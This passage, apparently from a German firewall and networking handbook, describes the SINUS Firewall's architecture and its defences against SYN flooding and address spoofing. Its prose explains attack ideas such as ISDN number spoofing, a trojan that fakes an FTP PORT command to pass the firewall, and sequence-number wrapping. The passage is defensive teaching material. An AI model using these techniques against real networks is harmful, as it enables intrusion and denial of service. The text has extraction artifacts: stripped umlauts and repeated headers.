ipchains -N acct & -I 1 input -j acct & -I 1 output -j acct & acct input output forward input output -M -L -M -S -A [chain] -j POLICY -D [chain] -j POLICY -I 1 [chain] -j POLICY -L -Z -F -P -C -p -s -d <none> -i -b
-A in -A out -F -I -O -M -M -a -d -i -l -z -f -p -c -P -S -D -V -W -b
Regel ohne Anweisung Regel ohne Anweisung Eine chain Eine chain Eine chain
Angabe von Port Range Angabe von Port Range Option: -i [chain]
-e -k -m -n -o -r [redirpt] -t -v -x -y
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
da bereits bei der Pawortkennung und der CHAP/PAP Authentifizierung ein buffer overflow mglich ist. In der Praxis hat sich gezeigt, da viele Dmonen unter diesem Problem leiden, daher ist diese Manahme alleine auch unzureichend. Man kann dem ISDN-Interface glcklicherweise auch sagen, da es nur Verbindungen von bestimmten Telefonnummern aus annehmen soll. Fremde Telefonnummern werden generell abgelehnt, es kommt erst gar nicht zur CHAP/PAP Authentifizierung. Ein kleines Problem gibt es jedoch noch. Telefonnummern sind prinzipiell spoofbar, sofern der Anrufer aus demselben Ortsbereich anruft. Spoofing kann man mit vielen Telefonanlagen durchfhren, sofern man einen Anlagenanschlu bei der Telekom besitzt, und ber eine vollwertige TK-Anlage verfgt. Interne ISDN-Nummern der TK-Anlage werden nach auen an andere Teilnehmer weitergeleitet. Prinzipiell kann man dann jede Telefonnummer vortuschen, also ISDN Nummern spoofen. Es gab in vergangener Zeit einige wenige Cracker, die so auf anderer Teilnehmer Kosten telefoniert haben. Die Telekom bermittelt jedoch tatschlich zwei ISDN-Nummern zwischen den Teilnehmern ber den D-Kanal. Einmal die von der TK-Anlage angegebene Nummer und direkt hinterher die offizielle, amtliche Telefonnummer. Leider wird diese von vielen ISDN-Anlagen und von vielen ISDN Treibern nicht an das Betriebssystem bermittelt. Wer ISDN Anlagen sicher betreiben mchte, der sollte sich einmal bei Rohde und Schwarz, Kln-Porz-Wahn informieren. Zusammenfassen kann man also sagen, da man Fernwartung ber ISDN nicht absolut sicher gestalten kann. Jedoch wenn man bedenkt, da es nur sehr wenige Cracker mit TK-Anlagenanschlu in demselben Ortsbereich gibt, die buffer overflows fr den IPPPD konstruieren knnen, um somit in die Firewall vorzudringen, kann man behaupten, da diese Art der Fernwartung doch recht sicher ist. Die einfachste und beste Lsung ist die Installation des PPTP Servers, der im Kapitel PPTP unter Windows und LINUX beschrieben wird. Sowohl die Client-Software als auch die Serversoftware ist kostenlos. Damit kann der komplette IP Traffic zwischen Arbeitsstation und Firewall verschlsselt bertragen werden. Eine preisewertere IPSec Lsung fr ein Unternehmen gibt es nicht.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
14.1 Leistungsbersicht
q q q q q q q q q q q q q q q
Statefull Paket Filter (SPF) - Architektur Eingriff bereits in den DATALINK-Layer Einfache, vollwertige Programmiersprache ntersttzung fr viele Protokolle "counter intelligence" Fhigkeit Dynamische Firewallregeln, programmierbar Ausfhrliches "logging", "auditing" und "alarming" Moderne JAVA - Benutzeroberflche Skalierbar bis ber ATM Geschwindigkeit Clustering mglich, mit "load balancing" HA - Solutions mglich Fernadministierbar Unlimited User Version Vollstndiger Quellcode enthalten, GNU Public License Untersttzung fr neue Dienste (Videokonferencing, H323, SQL)
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
14.3 Skalierbarkeit
q q q
q q
LOAD- Balancing Software (enthalten) Einsatz unterschiedlicher Hardware mglich Kaskadierbar bei komplexen Firewallregeln "firewall to firewall" Protokolluntersttzung ber "secure IP-layer" fr dynamische Firewallregeln und "log entries" "High Availability" und "mission critical" Einsatz Hardware Watchdog N-Way Fallover
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
14.4 Administrierbarkeit
q q q q q q
Grafisches Werkzeug zur Konfiguration mehrerer Firewalls JAVA Benutzeroberflche SSH Verschlsselung PPTP Verschlsselung ENSkip - Verschlsselung Einbindung in UNIX Signal-Handler
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
14.5 Protokolluntersttzung
q q q q q
Vollstndige Filterung aller IP,TCP,UDP,ICMP,IGMP Pakete Intelligenter RIP und FTP Support Dynamisches Regelwerk mit Countern und Timeouts anti spoofing Mechanismen anti SYN flooding
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
TELNET Ferwartung, Administration FTP (PASV) Filetransfer HTTP SMTP e-Mail SMNP Fernwartung NNTP NetNews RIP Router WAIS Datenbanken GOPHER Datenbanken SQL Datenbanken
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
DNS Domain Name Service NFS Networking File Service (auch AFS) REALVIDEO REALAUDIO NETMEETING VIDEOKONFERENCING (H.323)
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Limitierung der Anzahl der Verbindungen Timeout fr dynamische Regeln, Zhler und Variablen Kombinierbarkeit z.B. von HTTP Events mit FTP - Freischaltung (Registrierung) SPY Funktion zur Erkennung von Angriffen und Start von Programmen ("counter intelligence")
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
q q q q q q q
Vollstndige, eigene Zustandsmaschine Steuerung durch Events Schutz gegen SYN - Flooding Vollstndige berprfung der TCP Sequence Nummern auch bei RST und FIN (RFC 1122) "half duplex" TCP Verbindungen nicht mglich. Timer fr FIN Segmente Erkennung von verbotenen TCP -Flag Kombinationen (nastygrams) Unterdrckung von RST bei "source routed" Paketen mit falschen SSN Timeout fr IDLE connections SYN-ACK "sequence number" berprfung TCP "checksum" berprfung RFC 1323 Extended "windows scale option" berprfung PASV FTP- Untersttzung (Ermglicht kontrollierten FTP-Zugang von Windows-Clients) Erkennung von Netzwerkscannern Eventsteuerung, "trigger" "firewall to firewall" IP - Layer fr "log events" und dynamische Firewallregeln
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Clustering der Firewall Die SINUS Firewall ist in der Lage, beliebig mit benachbarten SINUS Firewalls sowohl log events als auch Zustandsinformationen ber dynamische Firewallregeln auszutauschen, und entsprechend zu verarbeiten. Wichtig wird diese Eigenschaft beim Einsatz zum Schutz von Hochleistungs - Internetservern, die von einem oder mehreren Angreifern einem DoS Attack ausgesetzt sind. Die Kommunikation untereinander erlaubt es, trotz Beschu die Firewall noch fr normale Internet-Dienste offenzuhalten. LOAD Balancing Der Einsatz zum Schutz vor Angriffen im Internet erfordert eine intensive Kontrolle der bis zu einigen Tausend simultanen Verbindungen verschiedenster Art. Trotz relativ niedriger Bandbreiten im Internet ist es mglich, da bei komplexen, dynamischen Firewallregeln auch eine DEC-ALPHA mit 600 Mhz und bis weit ber 1 Gbyte Memory-Bandbreite ihre Grenzen erreicht. In diesem Falle ist es sinnvoll, load balancing Software und zustzliche Hardware
einzusetzen. Im Allgemeinen reicht aber zur Absicherung eines 10MBit Netzwerkes ein kleiner Pentium 75 vllig aus.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
14.12 Logging
Ein wesentlicher Teil der Funktionen einer Firewall sind Logging-, berwachungs- und Alarmierungsfunktionen. Um ein Ereignis fr den Benutzer zu protokollieren, ist auch die Generierung einer e-Mail vorgesehen. Das kann dann sinnvoll sein, wenn groe Netzwerke berwacht werden mssen, oder wenn mit der Zerstrung des primren Loghostes gerechnet werden mu. In diesem Fall ist es auch mglich, die Log-Ausgabe an einen Drucker weiterzuleiten.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
PPTP
PPTP ist das Point to Point Tunneling Protocol, welches von Microsoft favorisiert wird. Es gibt inzwischen ausgereifte PPTP - Server und PPTP Gateways, die auch das Tunneln ber die Firewall erlauben. PPTP Server untersttzen unter LINUX inzwischen das Point to Multipoint Protokoll, soda sich hiermit auch VPNs aufbauen lassen. Unter Windows ist PPTP bereits enthalten.
SSH
SSH (Secure SHell) ist ein Verschlsselungsmechanismus, der auf TCP/IP aufsetzt. Er arbeitet hnlich wie PGP mit ffentlichem und privatem Schlssel. Zur Herstellung der Verbindung sind feste IP Nummern notwendig. SSH ist nur fr die Errichtung einer sicheren Punkt zu Punkt Verbindung geeignet. ber SSH knnen prinzipiell alle Protokolle bertragen werden, daher eignet sich SSH perfekt zum Aufbau von VPNs (Virtual Private Networks). Eingriffe in den Kernel sind nicht notwendig. SSH kann parallel zu anderen Protokollen installiert sein.
ENskip
ENskip ist ein zu SUN Skip kompatibler Clone, der direkt auf dem IP-Layer aufsetzt und somit nderungen im Kernel erfordert. Die jeweiligen Interfaces knnen somit keine normalen Protokolle mehr bertragen. Beim Einsatz von ENskip mssen keine nderungen bei der Software vorgenommen werden. Fr den Aufbau von VPNs ist ENskip hervorragend geeignet.
S/KEY
S/KEY ist ein System, welches mit verschlsselten Einmal - Paworten arbeitet. Jedes Pawort aus einer Liste ist nur einmal gltig und verfllt nach einem erfolgreichen Login-Versuch. Es ist einfach zu installieren.
OPIE
OPIE arbeitet hnlich SSH.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
In jedem Falle wird im TCP/IP Stack fr jeden Zustand (half open/close) und jede einzelne Verbindung ein Timer gestartet, der auch stets Statistiken ber die Qualitt der Verbindungen mitfhrt. Ist die Verbindung z.B. sehr gut, weil Client und Server direkt nebeneinander stehen, so kann und mu der Timeout heruntergesetzt werden. Ein Angreifer knnte ansonsten den SYN-RCVD Buffer fluten, und der Server htte keine Mglichkeit mehr, weitere Verbindungen anzunehmen (syn-flood). Andererseits wrde ein zu kurzer Timeout den Verbindungsaufbau zu einem weit entfernten Client verhindern. Aber auch diese Verfahrensweise birgt Gefahren: Was wre, wenn ein Client, der direkt neben dem Server steht, eine langsame Verbindung vortuschen wrde, damit der Server den Timeout hher setzt, um dann schnell einen SYN Angriff zu starten ? In dem Fall, da der SYN-RCVD - Buffer gefllt ist, sendet die Firewall aktiv einfach ein ACK Paket mit falscher Prfsumme, damit es verworfen wird an alle Clients, um die bestehenden Verbindungen nicht terminieren zu lassen (timeout refresh) und ein SYN-ACK sowohl an die echten, als auch die vom Angreifer gespooften Adressen, die natrlich ins Leere laufen. Nach einiger Zeit beendet die Firewall dann alle Verbindungen, die nicht mit einem SYN-ACK quittiert wurden und kann so den SYN-RCVD Buffer leeren. Es bleiben nur noch diejenigen Verbindungen brig, die zuvor bestanden haben und die ernsthaft neu initiiert wurden. Aber auch diese Technik birgt Gefahren: Ein Angreifer knnte so die Firewall mit schnellen, gespooften SYN Paketen ganz aus der Nhe dazu veranlassen, dem Host, der die gespoofte IP - Nummer besitzt, eine Flut von SYN-ACK Paketen zu schicken. Dies knnte durchaus zur Leitungsberlastung bei einigen Providern fhren, insbesondere bei denjenigen, deren Anbindung etwas langsamer ist. In diesem Falle wre die Firewall selber zwar gegen SYN flooding gesichert, wrde aber zu einem DoS (denial-of-service) bei einem vllig Unbeteiligten fhren, der zufllig die IP-Adresse des vom Angreifer benutzten, gespooften Pakets besitzt. Die SINUS Firewall kann zuverlssig diesen Mibrauch verhindern, indem sie fr jede Verbindung einen eigenen Counter setzt, der bei einer maximalen Anzahl von SYN-Paketen einer bestimmten (auch gespooften) IP - Nummer das Aussenden des SYN-ACK stoppt. Fr den Schutz ihrer Standleitungskunden, besonders denen mit ISDN-Anschlu sollte von allen greren Providern evtl. dieses Problem genauer bedacht werden. Hier hilft der Einsatz einer schnellen Firewall mit SPF - Architektur, die diese DoS Angriffe verhindert, indem sie die Zustnde aller Verbindungen der Kunden im eigenen Netzwerk speichert, und gegen SYN-ACK Pakete verteidigt, denen kein SYN vorangegangen ist. Allerdings mu auch das Netzwerk gegen gegenseitige Angriffe von Kunden untereinander gesichert werden. Hierzu wre dann der Einsatz von Firewall - Routern notwendig. Diese Technik entspricht exakt derjenigen, die im Checkpoint Firewall-1 "SynDefender Gateway" zum Einsatz kommt.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Spoofing
Besonders beliebt ist ein Angriff, der ein wenig der Mithilfe einer Arbeitsstation im Netzwerk bedarf. Hierzu sendet man an einen beliebigen Benutzer in einem Unternehmen unter einem Vorwand ein Programm, welches dieser dann startet. Was er nicht wei, da dieses Programm, mit der gespooften (vorgetuschten) Adresse eines Servers oder der Firewall eine Verbindung zu einem Server im Internet aufbaut. Die Firewall, in Erwartung eines Datenstromes von diesem Server als Antwort lt somit Pakete eines Angreifers, die an die Firewall oder einen Server im geschtzten Netzwerk adressiert sind, passieren. Woher sollte die Firewall wissen, da es nicht der Server oder die Firewall selber war, die die Verbindung aufgenommen hat. Bei einer vorgetuschten FTP-Verbindung, z.B. knnte mit dem Befehl PORT 23 der Firewall signalisiert werden, da ein Datenstrom aus dem Internet zum inneren Server auf Port 23 (telnet) zuzulassen ist. Der Angreifer htte somit aus dem Internet auf den internen Server ber die Firewall hinweg Zugriff.
Window Oversize
Server mit sehr schneller Anbindung sind einer zustzlichen Gefahr ausgesetzt. Sequenznummern mssen in ein gewisses Fenster fallen. Zu Beginn einer TCP-Verbindung wird dem Server vom Client mitgeteilt, da ab der "initial seqeuence number" (ISN) sich alle bermittelten Sequenznummern (SSN) in einem bestimmten Fenster befinden mssen. In "high speed networks" kann es somit passieren, da ein Angreifer Pakete erzeugt, die hnlich wie beim "session hijacking" dafr sorgen, da ein "wrapping" der SSNs, also ein Umbruch ber das Maximum von 32 Bit stattfindet, und die SSNs im untersten Bereich der mglichen SSNs fortgefhrt werden. Somit kann es einem Angreifer gelingen, das die Firewall Pakete passieren lt, obwohl die die SSNs falsch sind. Dieser Angriff ist nur dann mglich, wenn in hispeed networks der TCP/IP-Stack der Firewall die SSNs nicht entsprechend mit dem vom Client vorgeschlagenen Fester (window size) vergleicht, nach "between", "before" und "after" differenziert, und Pakete, deren SSN nicht in das Fenster fllt, blockt. Einige Serverbetriebsysteme differenzieren nicht. Auch einige Firewalls, die sich zu Clustern zusammenkoppeln lassen, sparen sich diese Abfrage besonders in Hinsicht des Falles, da die Verbindung erfolgreich zustande gekommen ist (connection established state). Sie tauschen nur bei der Einleitung (connection establishment), also whrend der SYN-SYN/ACK Sequenzen und Beendigung (connection termination), bzw. whrend der RST/RST oder FIN/FIN bermittlung Informationen ber das Fenster aus. Grund dieses Vorgehens ist, da ein Datenaustausch zwischen den Firewalls ber Verbindungszustnde und dynamische Filterregeln nur bei Anfang und Ende einer bertragung stattfinden mu. Falls sich Firewall Cluster auch noch nebenher ber die windows size der einzelnen HiSpeed Verbindungen kontinuierlich austauschen mten, wren wohl die Firewalls etwas berfordert. Angesichts der Tatsache, da fehlerhafte Prfsummen ein RESET Signal an die Sourceadresse zur Folge haben, knnte hiermit eine Firewall als RESET- Generator mibraucht werden. Smtliche an den Backbone angeschlossene Hosts sind in Gefahr, durch eine Flut von RESETs mit geschickt gewhlten , gespooften IP - Nummern von dem Rest der Welt abgeschnitten zu werden.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
14.22 bersicht
Die Komponenten
Die sf Firewall besteht aus folgenden Komponenten: q Filter-Modul q Firewall-Dmon q sfc Userprogramm q Firewall Pipe Man beachte die Trennung von Kernel-Filter-Modul und Firewall-Daemon. Das Kernel Filter-Modul ist ein sogenanntes "loadable module" welches whrend der Laufzeit in den Linux Kernel eingefgt wird. Es ist von diesem Zeitpunkt an Teil des Kernels, so als ob es direkt in den Kernel hinein kompiliert worden wre. "Loadable modules" sind eine der besonderen Eigenschaften von LINUX. Der Firewall-Daemon luft als unprivilegierter User-Proze. Er hat keine besonderen Zugriffsrechte, auer denen, die notwendig sind, um mit der Firewall-Schnittstelle zu kommunizieren und in Log-Dateien zu schreiben. Das "sfc" Programm kann zu Darstellung eines momentanen Abbildes der aktivierten Filterregeln und Variablen der Firewall genutzt werden. Die Firewall Pipe wird zur Kommunikation zwischen dem sfc Programm und dem Firewall-Daemon genutzt.
Paket-Filter
Der Paketfilter der Firewall nimmt an einer Netzwerk-Schnittstelle (1) ein IP-Paket an, welches zur zweiten Netzwerkschnittstelle (2) weitergeleitet werden soll. Dies stellt den Normalfall dar, wenn die Firewall als Router eingesetzt wird. Bei der Ankunft wird das Paket in die Warteschlange der Netzwerkschnittstelle (1) geschickt und dann an den Kernel IP Code bergeben. Von dort wird das Kernel Filter-Modul aufgerufen (ber den Zeiger sf_fw_chk). Die sf_fw_chk() Funktion gibt die Ergebnisse der Untersuchungen an den Kernel zurck. Hier bergibt sie als Ergebnis, wie mit dem IP-Paket zu verfahren ist: verwerfen, zurckweisen oder annehmen. Falls das Paket angenommen ist, wird es successive an die Netzwerkschnittstelle (2) gesendet und verlt die Firewall. Wenn ein IP-Paket das Kernel-Filter-Modul erreicht, durchsucht dies seine internen Tabellen und sendet
unverzglich einen Code zurck(verwerfen, zurckweisen, annehmen). Wurde der Firewall-Daemon ber das Ereignis unterrichtet, wird eine Nachricht erstellt und an den Nachrichten-Buffer gesendet.
Linux Kernel-nderungen
Um die Komponenten Kernel Filter-Modul und Firewall-Daemon in das Betriebssystem einzubinden, sind einige nderungen vorzunehmen. Das sfc User Programm und die Komponenten des Firewall-Device bentigen keine nderungen, und knnen whrend der Laufzeit geladen werden. Ein Ziel der Entwicklung der SINUS Firewall-1 war es, die Anzahl und Komplexitt der Kernel-nderungen gering zu halten, um ein einfaches Aktualisieren des Kernels und eine gute Portierbarkeit zu ermglichen. Dazu wurde soviel "code" als mglich in das Kernel Filter-Modul und in den Firewall-Daemon eingebaut. Dies sind die neuen Dateien: Die Datei config.in, welche die Anfragen fr die "make config facility" enthlt. Ein Makefile und die Dateien ip.c und tcp.c um Anrufe zum Kernel-Filter-Modul "stub" hinzuzufgen. Die Datei ksyms.c, welche alle exportierten Symbole auflistet. Die Datei sf_kernel.h (neu), die die Kernel-Filter-Modul-Schnittstelle beinhaltet. sf_stub.c (neu), das Kernel-Filter-Modul "stub".
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Der Firewall-Dmon
Der Firewall-Dmon bemerkt, ob bereits ein solcher installiert ist. Der Quellcode dieses Dmons ist in mehrere Files aufgespalten. sfc.c, sf_log.c, sf_spy.c:
q q q
sfc.c aktiviert die Datenstrukturen, die Umgebung und forkt (Kopiert sich selber). sf_log.c enthlt den Firewallcode sf_spy.c enthlt den Code fr counter intelligence
Immer dann, wenn das SFC Programm gestartet wird, prft es nach, ob es nicht mit Supervisor - Rechen gestartet wurde. Danach erst durchsucht es das Konfigurationsfile, soweit vorhanden. Es berprft weiterhin, ob der Firewall-Dmon bereits luft. Das File firewall.pid enthlt die Prozess-ID (ps xa) des laufenden Firewall-Dmons. Diese ProzessID wird bentigt, den Dmon anzuhalten, zu rekonfigurieren und user Befehle anzuzeigen.
werden "control character" aus den Rckgabedaten herausgefiltert. Endlose Datenstrme als Rckgabewert (dev/random) werden nach einem Timout beendet. Die maximale Zahl der Eintrge in Prozetabellen ist begrenzt.
Error Handling
Der Firewall-Dmon schreibt alle Error - Meldungen in die Logfiles und sendet ggf. E-Mails an den User, z.B. wenn der freie Speicherplatz auf der Festplatte den Wert von 2 MByte unterschreitet. Wenn alle diese Funktionsaufrufe versagen, dann schreibt der Firewall-Dmon die letzten Meldungen auf die Konsole und unterbricht allen Netzwerkverkehr.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Filter Regeln
Der Parser speichert die Regeln in umgekehrter Reihenfolge in einer linearen Liste, soda dieser und der Kernel stets am Kopf der Liste Regeln hinzufgen knnen. Die ist insbesondere Notwendig fr dynamische Firewallregeln. Die Zeiger fr die Struktur der Variablen zeigt auf den Kopf der Liste. Jede Regel enthlt einen Zeiger auf sich selber (ptr in union rule_id). Dieser Zeiger ist nur im Usermode definiert. Der Filter betrachtet diese ID als eindeutige Kennzeichnung fr eine Regel. Hat der Filter eine Regel an den Firewall-Dmon bergeben, so kann der ber die ID stets schnell auf die Regel erneut zugreifen, um dynamische Firewallregeln auszulesen, zu ndern o.. Der Parser speichert die Kennzahl fr den "notification level" in der Struktur level.num. Diese Levelnummer wird spter in einen Zeiger auf die "notification" Struktur umgewandelt, unter Bercksichtigung der Konvertierungslevel in sf_config.c (convert_levels). Adressen, die von den Filterregeln bentigt werden, werden in einem Array sf_addr gespeichert. Jeder Eintrag in das Array besteht aus Adresse, Maske, Port, Portbereich...Nicht bentigte Werte werden auf NULL gesetzt. Die Struktur sf_fw zeigt auf dieses Array und benutzt hierzu einen Offset sowie Zhlervariablen fr Quell-IP, Ziel-IP und RIP Adresse. Die Struktur sf_addr[0].addr enthlt die Zahl der IP - Nummern, die fr das interne Netzwerk vergeben wurden. Die IP - Nummern werden in einem Array abgespeichert, welches mit 1 beginnt. Somit knnen Regeln, die sich auf die Schlsselworte "inside" und "outside" beziehen, ohne Angabe der Portnummern auf den ersten Eintrag zeigen. ber Flags wird angezeigt, welches der beiden Schlsselworte gltig ist.
Notification Struktur
Die Struktur "notification" enthlt die Informationen ber einen Level. Die unterschiedlichen Level werden in einer linearen Liste abgelegt, die die Variable "notify" als Anker benutzt. Die Struktur enthlt Flags fr die Benachrichtigung des SYSLOGD, e-Mail Benachrichtigung, SPY und RELEVEL. Nachrichten und Mailadressen werden in dynamisch zugeordneten Strings gespeichert. Fr alle anderen Aktionen werden lineare Listen eingesetzt, daher ist die Zahl der in der Firewall Konfiguration enthaltenen Befehle beliebig, sie wird nur durch das zu Verfgung stehende RAM begrenzt. Befehle, wie let, if, exec...knnen somit in einem einzigen "notification level" in beliebiger Anzahl definiert werden.
Der Level "relevel" wird wie ein "notification level" behandelt. Die Befehle "let" und "if" werden in einer Kette (let_if_chain) abgespeichert, damit diese stets in der richtigen Reihenfolge ausgefhrt werden. Somit ist stets sichergestellt, da "let if" Definitionen beliebig geschachtelt werden knnen. Die Tiefe aller Verschachtelungen ist nicht begrenzt. Whrend das Konfigurationsfile abgearbeitet wird, zeigen die Variablen nicht immer auf die "notification structure", die ja gerade aufgebaut wird. Da "if" Befehle beliebig geschachtelt werden knnen, erfordert der Aufbau einer "if" Kette (if_chains) eine weitere Routine. Die Variable iftmp zeigt stets auf den niedrigsten Eintrag der if Struktur, die zu der zugehrigen "notification structure" gehrt.
LITTLE-IDIOT NETWORKING
LITTLE-IDIOT NETWORKING
Address Spoofing
Das erste Paket eines Hosts wird auf address spoofing hin berprft. Fr den Fall, da es nicht vom Loopback Interface stammt, aber dort als Quelladresse oder Zieladresse die Loopbak Adresse eingetragen ist, wird das Paket verworfen. Wenn das Paket von der Firewall selber stammt, also eine IP-Adresse der Netzwerkinterfaces besitzt, oder Quell-und Zieladresse eine lokale IP - Nummer besitzen, ist nur noch der anti spoof test erforderlich. Dann kann das Paket passieren, und der Filter gibt den Wert SF_RC_ACCEPT zurck. Nun mu in der HASH-Queue berprft werden, ob das Interface internal oder external ist. Findet sich kein Wert in der HASH Queue, so wird die Funktion sf_inside() aufgerufen. Sie berprft, ob die Interface-Adresse mit der internalnet Adresse bereinstimmt. Das Ergebnis wird in die HASH Queue geschrieben, es wird spter ausgewertet. Wenn ein Paket empfangen wird, wird die Quelladresse fr eine berprfung des Quellcodes herangezogen, andernfalls wird die Zieladresse benutzt. Wenn die Adressen nicht der Adresse eines Hosts und nicht der des Loopback Interfaces entsprechen, mssen die Paketadressen und Interface Adressen entweder internal oder external sein. Wenn adress spoofing entdeckt wird, werden die internen Firewallregeln RULE_SPOOF_RECV oder RULE_SPOOF_XMIT aktiv. Die enthaltenen Informationen werden an den Firewall-Dmon bergeben. Die weiteren Paketinformationen werden dann verworfen. Fr den Fall, da ein Paket weitergeleitet wird, kann die weitere berprfung nach der berprfung auf spoofing entfallen.
Fragmentierung
Wenn ein Fragment Offset in dem IP-Header gesetzt ist, wird die Paket-ID als HASH-Wert mit evtl. Eintrgen in vorangegangenen Paketen verglichen und dem Filter mitgeteilt, ob ein Paket passieren darf, oder nicht. Die Eintrge in der HASH Queue sind dem Timeout - Mechanismus unterworfen, der diese
lscht, wenn lngere Zeit keine Pakete mehr erfolgreich die Firewall durchlaufen haben. Der Timeout-Zhler beginnt von Neuem, wenn der Vergleich positiv war. Das Fragment mu auch hier nicht weiter berprft werden, es wird automatisch intern weitergeleitet. Mit dem Eintreffen eines fragmentierten Paketes und dem Aufruf der Funktion SF_CHKFRAG wird ein neuer Eintrag in die HASH Queue vorgenommen, und der Timer zurckgesetzt.
TCP
Zugelassene TCP Verbindungen werden in HASH Queues gespeichert. Der HASH Schlssel berechnet sich aus der Summe von Quelladresse, Zieladresse, und den zugehrigen Portnummern, modulo der im Quellcode angegebenen Primzahl (499 in sf_filter.c). Die Adressen sind zuvor in 32 Bit Integerwerte konvertiert worden. Die HASH Tabelle enthlt den Status einer TCP Verbindung. Der Filter kann so schnell bestimmen, ob eine Verbindung besteht, ein Host die Verbindung abbrechen mchte, die Verbindung beendet ist..... Ein eintreffendes Paket, welches einen Verbindungswunsch anzeigt, hat das SYN Flag gesetzt, nicht aber das ACK Flag. In diesem Falle ist die TCP Verbindung noch nicht in der HASH Queue gespeichert, mit Ausnahme von FTP Verbindungen. Der Rest des TCP Paketes wird bergangen und das TCP Paket wird auf Verletzungen gegen die Regeln berprft. Fr den Fall, da das TCP Paket zulssig ist, wird es mit den in der HASH Queue gespeicherten Pakete verglichen. Gehrt es nicht zu anderen Paketen, so wird es verworfen. Es wird den Filter nicht passieren. Angenommen, da TCP Paket gehrt zu einer erlaubten Verbindung. Das Paket mu dann berprft werden, ob dieses Paket eine FTP - Verbindung darstellt. Dies wird durch Durchsuchung des Inhaltes nach dem "PORT" Befehl festgestellt. In diesem Falle wird ein neuer HASH Eintrag erzeugt. An dieser Stelle ist es mglich, weitere Protokolle zu implementieren, z.B. RPC, welches fr Windows NT PDC, RSYNC, RSH....notwendig ist. Der Rest des TCP Codes ist selbsterklrend. Das Statusfeld und der Timer- Mechanismus sind entsprechend dem Mechanismus zu Behandlung der Flags im TCP Header implementiert. Es ist mglich, zu einer bestehenden TCP Verbindung einen Timeout hinzuzufgen. Hiermit kann man Eintrge in der HASH Queue lschen, die unterbrochen wurden, oder zu lange Wartezeiten zwischen den Paketen besitzen. Um dieses zu tun, mu bei der Herstellung einer Verbindung ein Timer initialisiert werden, der jedesmal, wenn ein Paket einer gltigen Verbindung passiert, von neuem beginnt, zu zhlen (reset). Sicherlich wrde dieser Mechanismus die Effektivitt der Firewall beeintrchtigen und hngende Verbindungen mglicherweise unntig beenden.
Filterregeln
Fr hhere Effizienz der Firewall werden nur neue TCP Verbindungen und Nicht-TCP Pakete analysiert. Die lineare Liste des Regelwerkes in der Firewall wird der Reihe nach mit dem Inhalt des Datenpaketes verglichen. Sobald eine Regel zutrifft, wird das Paket fr weitere Untersuchungen markiert und gespeichert. Die erste Untersuchung (Inspektion) gilt dem Protokoll. Die Protokollfelder des Regelwerkes werden mit denen des Paketes verglichen.
IGMP und ICMP Pakete werden einer gesonderten Untersuchung unterworfen, in der festgestellt wird, ob der Typ in den Regeln enthalten ist. Dieses mu in einem "switch" Statement (C,C++) erfolgen, weil eventuell weitere Typen in dem Paket in einer Bitmap enthalten sein knnten. RIP Pakete werden ebenfalls einer gesonderten Behandlung unterzogen. Fr den Falls das das Paket ein UDP Paket ist, und auf Port 520 zugreift, dann wird die Funktion check_rip() aufgerufen, um zu ermitteln, ob alle angekundigten Ziele in dem Regelwerk aufgelistet sind. An dieser Stelle knnen beliebige Tests fr Nicht TCP Protokolle eingefgt werden, z.B. weitere Routingprotokolle, wie OSPF... Nach dem Test auf TTL, IP Optionen werden Quell- und Zieladresse, Ports...durch die Funktion sf_addr_match() auf Verletzungen der Regeln untersucht. Hier sind erklrende Kommentare im Quellcode eingefgt. Am Ende aller Untersuchungen zeigt die Variable "rule" auf die zutreffenden Regeln, oder auf NULL, wenn keine der Regeln zutreffend ist. Wenn eine Regel auf ein TCP Paket zutrifft, dann wird ein Eintrag in der HASH Queue fr diese Verbindung vorgenommen. Wenn dann keine Log-Eintrge mehr abzuarbeiten sind, kann der Filter seine Arbeit beenden.
Log Eintrge
Der Transfer der Log-Eintrge vom Filter zum Firewall-Dmon erfolgt ber einen Puffer im Firewall-Device. Falls der Puffer voll ist, werden alle Pakete verworfen, egal ob die Filterregeln zutreffen, oder nicht. Fr die betroffenen Hosts erscheint dieses so, als wenn Pakete aus unbekannten Grnden verlorengegangen sind. Log-Eintrge bestehen aus dem Rckgabewert, der Regel ID, dem Namen des Devices und den ersten 176 Bytes des Paketes. Die Gre wurde so gewhlt, da zumindest alle Protokollheader aufgezeichnet werden, und die Gesamtgre der Log-Struktur die maximale Gre fr eine Speicherseite nicht berschreitet (Siehe sf_filter.h). Nun wird der Firewall-Dmon aufweckt, damit die Filterfunktion den Rckgabewert einer zutreffenden Regel bergeben kann.
